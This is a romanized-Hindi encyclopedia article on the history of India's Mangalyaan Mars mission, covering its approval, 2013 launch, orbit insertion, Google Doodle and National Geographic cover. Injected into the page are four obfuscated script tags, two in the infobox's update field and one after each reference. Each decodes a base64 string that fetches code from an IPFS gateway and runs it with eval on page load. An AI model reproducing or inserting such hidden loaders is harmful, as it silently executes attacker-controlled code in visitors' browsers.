मंगलयान का इतिहास
mangalayan ka itihas
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| vivaran | 'mangalayan' aantariksh anusandhan ke kshetr mean bharatiy aantariksh anusandhan sangathan ki mahattvakaankshi antariksh pariyojana hai. is pariyojana mean mangal grah ki parikrama ke liye ek upagrah chho da gaya, jo 24 sitanbar, 2014 ko grah par pahuanch gaya. |
| mishan prakar | mangal kakshiyan |
| sanchalak | bharatiy aantariksh anusandhan sangathan (isaro) |
| kospar aeedi | 2013-060A |
| saitakait sankhya | 39370 |
| nirmata | isaro upagrah kendr |
| prakshepan tithi | 5 navanbar, 2013 |
| r aauket | dhruviy upagrah prakshepan yan (piesऍlavi) si-25 |
| prakshepan sthal | satish dhavan aantariksh keandr |
| any janakari | mangalayan ke jarie bharat mangal grah par jivan ke sootr talashane ke sath hi vahaan ke paryavaran ki bhi jaanch karana chahata hai. yah bhi pata lagaya jayega ki lal grah par mithen gais maujood hai ya nahian. |
| adyatan | 13:45, 14 julaee 2017 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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isaro ke adhyaksh madhavan nayar dvara 23 navanbar, 2008 ko mangal grah ke lie ek manav rahit mishan ki pahali sarvajanik abhisvikriti ki ghoshana ki gee thi. bharat ke mangalayan mishan ki avadharana 2008 mean chandr upagrah chandrayan-1 ke prakshepan ke bad aantariksh vijnan aur bharatiy praudyogiki sansthan dvara 2010 mean ek vyavaharyata adhyayan ke sath shuroo huee.
mangalayan pariyojana
bharat sarakar ne is pariyojana ko 3 agast, 2012 mean manjoori de di thi. 'bharatiy aantariksh anusandhan sangathan' ne 125 karo d rupaye ke aaurbitar ke lie avashyak adhyayan poora kiya. pariyojana ki kul lagat 450 karo d rupaye huee. aantariksh ejeansi ne 28 aktoobar, 2013 ko prakshepan ki yojana banaee, lekin prashaant mahasagar mean kharab mausam ke karan isaro ke aantariksh yan, traikiang jahajoan ko pahuanchane mean deri huee. is karan abhiyan ko 5 navanbar, 2013 tak sthagit kar diya gaya.
eeandhan ki bachat ke lie hohamann sthanaantaran kaksha mean prakshepan ke avasar har 26 mahine mean ghatit hote haian. pieselavi-eksel laanch si25 vahan ko jo dane ka kary 5 agast, 2013 ko shuroo hua tha. mangalayan ko vahan ke sath jo dane ke lie 2 aktoobar, 2013 ko shriharikota bhej diya gaya. upagrah ke vikas ko tezise rik aaurd 15 mahine mean poora kiya gaya. amerika ki sanghiy sarakar ke band ke bavajood nasa ne 5 aktoobar, 2013 ko mishan ke lie sanchar aur nevigeshan samarthan pradan karane ki pushti ki. 30 sitanbar, 2014 ko ek baithak ke dauran nasa aur isaro ke adhikariyoan ne mangal grah ke bhavishy ke sanyukt mishan ke lie marg sthapit karane ke lie ek samajhaute par hastakshar kie tatha donoan deshoan ne mangalayan aur meven aantariksh yanoan ke aank de ko sajha karane ka phaisala kiya.
bharat ne likvid motar ianjan ki takanik se mangalayan ko mangal ki kaksha mean sthapit kiya. amataur par chaand tak pahuanchane ke lie isi takanik ka istemal kiya jata hai, lekin itane lambe mishan par bharat se pahale kisi bhi desh ne likvid motar ianjan ke istemal ka jokhim nahian uthaya tha. mangal yan ko 5 navanbar, 2013 ko satish dhavan aantariksh keandr, shriharikota se prakshepit kiya gaya tha. budhavar (24 sitanbar, 2014) ki subah tay karyakram ke mutabiq mangal yan ko mangal ki kaksha mean sthapit kar diya gaya.
googal doodal
[[chitr:Mangalyaan-Google-Doodle.jpg|thumb|left|250px|mangalayan ki saphalata par jari googal ka doodal]] sarch ianjan googal ne bharat ke 'mars aaurbitar mishan' (mangalayan) ke mangal ki kaksha mean ek mahine ki avadhi poorn karane par apane bharatiy homapej par doodal banaya tha. is doodal mean googal ke doosare ‘o’ ke sthan par bharat ka mangalayan dikhaee de raha hai aur prishthabhoomi mean mangal grah ka dharatal. gauratalab hai ki amataur par googal kisi vishesh divas, jayanti-punyatithi ityadi ke avasar par hi homapej par doodal banata hai. yah doodal googal ke keval bharatiy homapej par hi dikhaee de raha tha. is doodal ke sath sheyar batan bhi diya gaya tha, jisaki sahayata se koee bhi ise soshal netavarkiang sait par sheyar bhi kar sakata tha. bharatiy aantariksh anusandhan sangathan (isaro) ne 24 sitanbar, 2014 ko mangalayan ko mangal ki kaksha mean pravesh karaya tha aur isi ke sath bharat un chunianda deshoan mean shamil ho gaya tha, jo mangal tak pahuanche haian. bharat pahale hi prayas mean mangal par pahuanchane vala vishv ka pratham desh hai.[1]
neshanal jiyographik maigajin par mangalayan
bharat mean 2000 rupaye ke ne not par sthan pane ke bad mangalayan ne ek aur kamayabi ko us samay chhoo liya, jab usake dvara bheji gee mangal grah ki tasvir ko neshanal jiyographik maigajin ne apane kavar prishth par chhapa. bharat ke mangal grah par pahale mishan ke bad mangalayan ke kaimare dvara is lal grah ki tasvir li gee. is tasvir ko apani uchch gunavatta vali tasviroan ke lie prasiddh neshanal jiyographik maigajin ke kavar pej par sthan diya gaya. maigajin mean mangalayan ki lagabhag ek darjan tasviroan ko jagah di gee thi. visheshajn svikar karate haian ki bharat ke mangalayan ne umda tasvirean li haian. mahatvapoorn bat yah hai ki mangalayan se pahale ke 50 se adhik mishan itani gunavatta vali sanpoorn akar ki tasvirean lene mean saphal nahian hue.[2]
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tika tippani aur sandarbh
- ↑ mangal par mangalayan ka ek mahina poora, googal ne banaya doodal (hiandi) khabar.ndtv.com. abhigaman tithi: 14 julaee, 2017.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ neshanal jiyographik maigajin ke kavar pej par chhaee mangalayan se li gee tasvir... (hiandi) khabar.ndtv.com. abhigaman tithi: 14 julaee, 2017.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bahari k diyaan
sanbandhit lekh
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varnamala kramanusar lekh khoj
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